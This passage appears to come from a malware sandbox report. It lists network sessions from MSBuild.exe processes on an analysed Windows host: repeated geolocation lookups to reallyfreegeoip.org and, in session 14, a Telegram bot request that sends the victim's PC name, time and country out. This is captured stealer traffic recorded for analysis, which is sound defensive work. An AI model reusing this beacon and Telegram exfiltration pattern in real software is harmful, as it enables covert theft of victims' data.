5	192.168.2.6	49735	172.67.177.134	443	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:49:51 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-14 12:49:51 UTC	872	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:51 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169360 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nZ91IrNutCXxBQILeNrNsDb77qkI3bTysXnIIm4oYcnhMRquA7Xw6u3Vqpc1otSnPN7PsvkxYanK2gxXXR1Gn2l84jtX4cslRHiX%2FE2p1MB1oABtFbmaEBtYOJuRzeGphrhP3oE3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e50fa282342e8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2233&min_rtt=2232&rtt_var=840&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1300668&cwnd=250&unsent_bytes=0&cid=28b6ca617b33a2fc&ts=457&x=0"
2024-12-14 12:49:51 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49736	172.67.177.134	443	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:49:52 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-14 12:49:53 UTC	874	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:53 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169362 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aVGZ38zgXEi2QqtHVWA5SzRwwXmxSJG6I6YwzZ8yEaHJjTBFbNARAQTyNDbbBHEGzNIIo%2BVkPf%2FE0HOD7UdweG1UXNAVtIsyVVy2iCU9IclsP97v5wctY4cKzMcqVDuEDBPRFveV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e5103b8a043b8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1584&rtt_var=608&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1777236&cwnd=231&unsent_bytes=0&cid=ade79fc1acf9e12c&ts=463&x=0"
2024-12-14 12:49:53 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49739	172.67.177.134	443	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:49:54 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-14 12:49:54 UTC	876	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:54 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169363 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r3CKf4K03MDnwdJ%2BryhYNPXyqaG4bLdxxSod9PqhiJOHa4ffWixwXgbclpFlBV1jvRZWaU1hoP%2FuUl3eIg56sbvOJzMP1QM8a%2F2v2hVmg3IknNquzwTHd1eGVBjgETLuldohXK6r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e510d5caa0f77-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1554&min_rtt=1495&rtt_var=603&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1953177&cwnd=231&unsent_bytes=0&cid=d0634031c54000e1&ts=449&x=0"
2024-12-14 12:49:54 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49742	172.67.177.134	443	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:49:56 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-14 12:49:56 UTC	871	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:56 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169365 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=95gJKLNZYt%2Bj8pD21fj1L4HiDmQI4P6PcOZoUn6xmjFuR5fSLcQ9Fxaca4KJ8TFAvT9G1Lc9b7WpJV9IYwHw9oi7UjeRHcJ2iqBVjdNes3ft1Q7ZsNMUY3llNbXLPnmp2EPlOupF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e51183aea32fc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1903&min_rtt=1903&rtt_var=951&sent=5&recv=7&lost=0&retrans=1&sent_bytes=4236&recv_bytes=699&delivery_rate=286611&cwnd=226&unsent_bytes=0&cid=8a39acc19534a4e7&ts=482&x=0"
2024-12-14 12:49:56 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49743	172.67.177.134	443	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:49:57 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-14 12:49:58 UTC	878	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:57 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169366 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nEmIyjjF9F1AG41pvNOBxmyGO1%2B2jFgJOMrZCNuOko1AzPem3WBrQKOT0nxQwayMlKo23OQ51bFc3CB3WP4iCqMCfOjpHb%2B2PMkIPDUBvnft5PoPi%2BdPQnL7lmwJ%2FALizrK8keus"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e51211d8f42b7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1595&min_rtt=1587&rtt_var=612&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1764350&cwnd=212&unsent_bytes=0&cid=5368a7e43b2626b1&ts=455&x=0"
2024-12-14 12:49:58 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49747	172.67.177.134	443	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:49:59 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-14 12:49:59 UTC	880	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:59 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169368 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4xsozOnIuj%2FRknCAwo9gSAaA00JFuPf%2FiQ6YjGAxjbLkLoZCMKGMD3UyWinfYtgqHi%2FEB7AQaD48kMwzEK9B4XoA3vV774PISlD5VCJY4B4wkLEI%2FUH8pH3QWxtS%2FvEko8j9vOO5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e512cf9e85e60-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1592&min_rtt=1587&rtt_var=605&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1792510&cwnd=248&unsent_bytes=0&cid=f0fa7d32633258ce&ts=456&x=0"
2024-12-14 12:49:59 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49748	172.67.177.134	443	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:50:00 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-14 12:50:01 UTC	882	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:50:01 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169370 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hXb2UujSXYbuISUxXjB51iOD88%2BtorswaXFQYgYuTh0vWAO%2BPZxKuQ%2BSEXfshqIafMAvKqOJZUl%2F1U%2FcaTEFViZC%2BNn8OxiWavkzD7IV1aUTams9BisvwVacQxkeUatzKSv4FmBo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e51344f4f1831-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1608&min_rtt=1512&rtt_var=635&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1931216&cwnd=235&unsent_bytes=0&cid=d5303baf0feca01a&ts=454&x=0"
2024-12-14 12:50:01 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49752	172.67.177.134	443	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:50:06 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-14 12:50:06 UTC	876	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:50:06 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169375 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bz19AOXQ0mYh8OAF9OFS6BaC1tbFnBPuXeGlREPn7vi5S%2FwnzUwjWO49G3tOppZXcWWRQBAkxRBPC%2BIFLkxi5681nxcy143WCZmu1YUeclVsQp2nVSN8B02EhClZzcwHEgYE5JO2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e51575c634210-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1780&min_rtt=1765&rtt_var=673&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1654390&cwnd=244&unsent_bytes=0&cid=a5b1238111dc0430&ts=455&x=0"
2024-12-14 12:50:06 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49754	172.67.177.134	443	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:50:10 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2024-12-14 12:50:10 UTC	872	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:50:10 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 169379 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aDeiDgAZv8ico3YhfWm6oMhP3zzNAVcgH%2B4Hu3bpQSLJXjDP74ksIWWTI8YPPX4v6AdeLLZxugGd36fgUi60dogqKG7TFMZNsE2rYx2ODyUnnuteJsZN0hiU3XrnLQCGUDr2hT3f"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1e51707cf5c459-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1551&min_rtt=1463&rtt_var=724&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1347485&cwnd=231&unsent_bytes=0&cid=c3f6ffe25a90ef56&ts=458&x=0"
2024-12-14 12:50:10 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49755	149.154.167.220	443	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:50:12 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:226533%0D%0ADate%20and%20Time:%2015/12/2024%20/%2013:48:37%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20226533%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-12-14 12:50:12 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 14 Dec 2024 12:50:12 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-14 12:50:12 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49757	172.67.177.134	443	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:50:18 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
